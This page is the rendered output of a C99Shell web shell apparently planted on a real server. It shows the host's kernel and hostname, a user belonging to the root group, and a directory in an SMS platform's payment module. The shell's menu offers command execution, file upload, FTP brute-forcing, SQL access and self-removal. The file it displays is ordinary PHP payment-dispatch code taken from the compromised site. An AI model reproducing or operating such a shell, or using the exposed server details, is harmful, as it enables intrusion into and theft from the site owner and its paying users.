!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_v5_10/Modules/PaymentGateway/TopUpProvider/   drwxr-xr-x
Free 28.58 GB of 117.98 GB (24.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ProcessPayment.php (4.25 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\PaymentGateway\TopUpProvider;

class 
ProcessPayment
{


    private 
$gateway;
    public 
$credit;
    public 
$amount;
    public 
$credit_type;
    public 
$request;
    public 
$redirect_url;
    public 
$error_message;
    public 
$return_view;
    public 
$will_redirectfalse;

    public function 
__construct()
    {

    }

    public function 
set_gateway($gateway)
    {
        
$this->gateway $gateway;
        return 
$this;
    }

    public  function 
topUpReq($topup){
        
$this->topup_request=$topup;
        return 
$this;
    }
    public function 
credit($credit)
    {
        
$this->credit $credit;
        return 
$this;
    }

    public function 
amount($amount)
    {
        
$this->amount $amount;
        return 
$this;
    }
    public function 
creditType($creditType)
    {
        
$this->credit_type $creditType;
        return 
$this;
    }

    public function 
request($request)
    {
        
$this->request $request;
        return 
$this;
    }

    public function 
process()
    {
        if (
$this->gateway == 'paypal') {
            
$gateway = new PayPalPayment();
            
$gateway->amount($this->amount);
            
$gateway->request($this->request);
            
$gateway->topUpRequest($this->topup_request);
        } else if (
$this->gateway == 'card') {
            
$gateway = new StripePayment();
            
$gateway->amount($this->amount);
            
$gateway->request($this->request);
            
$gateway->topUpRequest($this->topup_request);
        }else if (
$this->gateway == 'paytm') {
            
$gateway = new PaytmPayment();
            
$gateway->amount($this->amount);
            
$gateway->request($this->request);
            
$gateway->topUpRequest($this->topup_request);
        }else if (
$this->gateway == 'paystack') {
            
$gateway = new PaystackPayment();
            
$gateway->amount($this->amount);
            
$gateway->request($this->request);
            
$gateway->topUpRequest($this->topup_request);
        }else if (
$this->gateway == 'mollie') {
            
$gateway = new MolliePayment();
            
$gateway->amount($this->amount);
            
$gateway->credit($this->credit);
            
$gateway->request($this->request);
            
$gateway->creditType($this->credit_type);
            
$gateway->topUpRequest($this->topup_request);
        }else if (
$this->gateway == 'stripe_checkout') {
            
$gateway = new StripeCheckoutPayment();
            
$gateway->amount($this->amount);
            
$gateway->request($this->request);
            
$gateway->topUpRequest($this->topup_request);
        }else if (
$this->gateway == 'iyzico') {
            
$gateway = new IyzicoPayment();
            
$gateway->amount($this->amount);
            
$gateway->credit($this->credit);
            
$gateway->request($this->request);
            
$gateway->creditType($this->credit_type);
            
$gateway->topUpRequest($this->topup_request);
        }else if (
$this->gateway == 'authorize_net') {
            
$gateway = new AuthorizeNetPayment();
            
$gateway->amount($this->amount);
            
$gateway->credit($this->credit);
            
$gateway->request($this->request);
            
$gateway->creditType($this->credit_type);
            
$gateway->topUpRequest($this->topup_request);
        }else if (
$this->gateway == 'sslcommerz') {
            
$gateway = new SSLCommerz();
            
$gateway->amount($this->amount);
            
$gateway->topUpRequest($this->topup_request);
            
$gateway->credit($this->credit);
            
$gateway->request($this->request);
            
$gateway->creditType($this->credit_type);
        }else if (
$this->gateway == 'uddoktapay') {
            
$gateway = new UddoktaPay();
            
$gateway->amount($this->amount);
            
$gateway->topUpRequest($this->topup_request);
            
$gateway->credit($this->credit);
            
$gateway->request($this->request);
            
$gateway->creditType($this->credit_type);
        }

        
$payment = new Payment($gateway);
        
$payment->trigger();

        
$this->redirect_url =$payment->gateway->redirect_url();
        
$this->will_redirect =$payment->gateway->will_redirect();
        
$this->error_message =$payment->gateway->error_message();
        
$this->return_view =$payment->gateway->return_view();

        return 
$this;

    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0056 ]--